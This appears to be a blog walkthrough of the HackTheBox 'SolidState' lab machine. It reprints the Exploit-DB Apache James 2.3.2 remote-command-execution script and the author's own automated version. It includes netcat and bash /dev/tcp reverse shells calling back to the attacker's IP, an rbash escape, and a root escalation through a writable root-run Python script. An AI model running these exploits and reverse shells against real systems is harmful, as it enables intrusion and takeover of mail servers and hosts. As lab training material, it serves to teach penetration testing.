Home HackTheBox - SolidState
Post
Cancel

HackTheBox - SolidState

This box was an Medium box from HackTheBox. It’s OS is Linux. The entry point is with a James SMTP server running on this host, this server is vulnerable. We can exploit it and get a shell. The root is trough a python script running as root, and a normal user can modify it. So it’s easy to get root!

The exploit for this box is on the body of the post. Hope you enjoy!

Diagram

graph TD
    A[Enumeration] -->|Nmap| B(Port 25)
    B --> C[James 2.3.2]
    C --> |Exploit DB| D[Get Reverse Shell]
    D --> |Python Script| E[Auto Reverse Shell]
    E --> |rbash| F[Bypassed]
    F --> |SSH as mindy| G[Python Script Running as root]
    H --> |Exploit| I[Root Shell]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.51

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

Nothing useful here for now.

Ports 25/110/119

Looking at the nmap we found the ports 25/110/119 opened too. Which is the SMTP ports.

We search for James exploit and found on interesting

ExploitDB

Blog

Let’s do it. First we need to see it the port 4555 is opened, which is the admin port of James Service

And it’s opened.

Shell as Mindy (1º Path - SSH)

With that in mind we can access the mail server and see what we can do there

The default creds of root/root work:

We change the password for the users

1
2
setpassword -h
listusers

We change the mindy password

1
setpassword mindy 0x4rt3mis

Now with telnet we log in mindy mail

1
2
3
4
telnet 10.10.10.51 110
mindy
0x4rt3mis
RETR 2

1
2
username: mindy
pass: P@55W0rd1!2@

Now we ssh in

/etc/passwd shows that mindy's shell is rbash:

Rbash

Now, with that in mind, we need to bypass this restricted shell, in order to get a fully interactive shell

Reference 1

We could escape using -t bash on the ssh command

We could use the command ssh mindy@10.10.10.51 'bash --noprofile' also

Ok, but this I think was not the intended way to get this box. We need to explore the James smtp server.

Shell as Mindy (2º Path - James)

Here we’ll explore the James server to get a reverse shell in this box. First we look what the script in searchsploit does

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."

Alweays when create a new user in James stmp server, a folder is created for that user based on their username, and when email comes in, it is stored in that folder. The vulnerability is in the username, if the user is named ../../../../../0x4rt3mis, then it will create that folder at the root level and drop files in it with the contents of received emails, great huh? What the script does, is when the user send an email, it executes the bash_completion, so we can trigger a reverse shell trough it!

Let’s make it manual

1º Create a User

1
2
3
4
5
nc 10.10.10.51 4555
root
root
adduser ../../../../../../../../etc/bash_completion.d 0x4rt3misHTB
quit

2º Send an email with a reverse shell, connecting to SMTP on 25:

1
2
3
4
5
6
7
8
9
10
telnet 10.10.10.51 25
EHLO 0x4rt3mis
MAIL FROM: <'0x4rt3mis@10.10.14.3>
RCPT TO: <../../../../../../../../etc/bash_completion.d>
DATA
FROM: 0x4rt3mis@10.10.14.3
'
/bin/nc -e /bin/bash 10.10.14.3 8888
.
QUIT

This creates a file in /etc/bash_completion.d that contains my reverse shell. So the next time any user logs in, we will get a shell as that user.

Now we got a reverse shell

Now let’s easily automate it, once we already did it manually and we have a exploit read to guide us.

Auto Reverse Shell

We’ll use our skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_solid.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python3
# Exploit got from: https://www.exploit-db.com/exploits/35513
# Exploit for SolidState - HackTheBox
# James 2.3.2 Vulnerability
# Author: 0x4rt3mis

import argparse
import requests
import sys
import socket
import time
import subprocess
import os

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
global user
global pwd
user = b'root'
pwd = b'root'

'''Here come the Functions'''
def recv(s):
    s.recv(1024)
    time.sleep(0.2)

def SendPayload(rhost,lhost,lport):
    payload = "/bin/nc -e /bin/bash %s %s" %(lhost,lport)
    print("[+] Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((rhost,4555))
    s.recv(1024)
    s.send(user + b"\n")
    s.recv(1024)
    s.send(pwd + b"\n")
    s.recv(1024)
    print("[+] Creating user...")
    s.send(b"adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send(b"quit\n")
    s.close()

    print("[+] Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((rhost,25))
    s.send(b"ehlo team@team.pl\r\n")
    recv(s)
    print("[+] Sending payload...")
    s.send(b"mail from: <'@team.pl>\r\n")
    recv(s)
    s.send(b"rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send(b"data\r\n")
    recv(s)
    s.send(b"From: team@team.pl\r\n")
    s.send(b"\r\n")
    s.send(b"'\n")
    payload = str.encode(payload)
    s.send(payload + b"\n")
    s.send(b"\r\n.\r\n")
    recv(s)
    s.send(b"quit\r\n")
    recv(s)
    s.close()
    print("[+] Done! Payload will be executed once somebody logs in.")

# Just trigger it
def LoginSSH(rhost,lport):
    print("[+] Just trigger it !! [+]")
    FNULL = open(os.devnull, 'w')
    subprocess.Popen(["sshpass","-p","P@55W0rd1!2@","ssh","mindy@%s" %rhost],
        stdout=FNULL, 
        stderr=subprocess.STDOUT)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser(description='HackTheBox SolidState AutoShell - 0x4rt3mis')
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port to receive the shell', required=True)

    args = parser.parse_args()

    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Send Payload
    SendPayload(rhost,lhost,lport)
    # Trigger it
    LoginSSH(rhost,lport)

if __name__ == '__main__':
    main()

Let’s get root.

mindy –> root

Seeing what is in /opt we get something interesting

1
ls -l /opt/

Running pspy we found some good proccess running as root

root is running this python file, and we can modify it!

So, it’s easy to get a reverse root shell

1
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.3/8855 0>&1"')

After some minutes, we are root

This post is licensed under CC BY 4.0 by the author.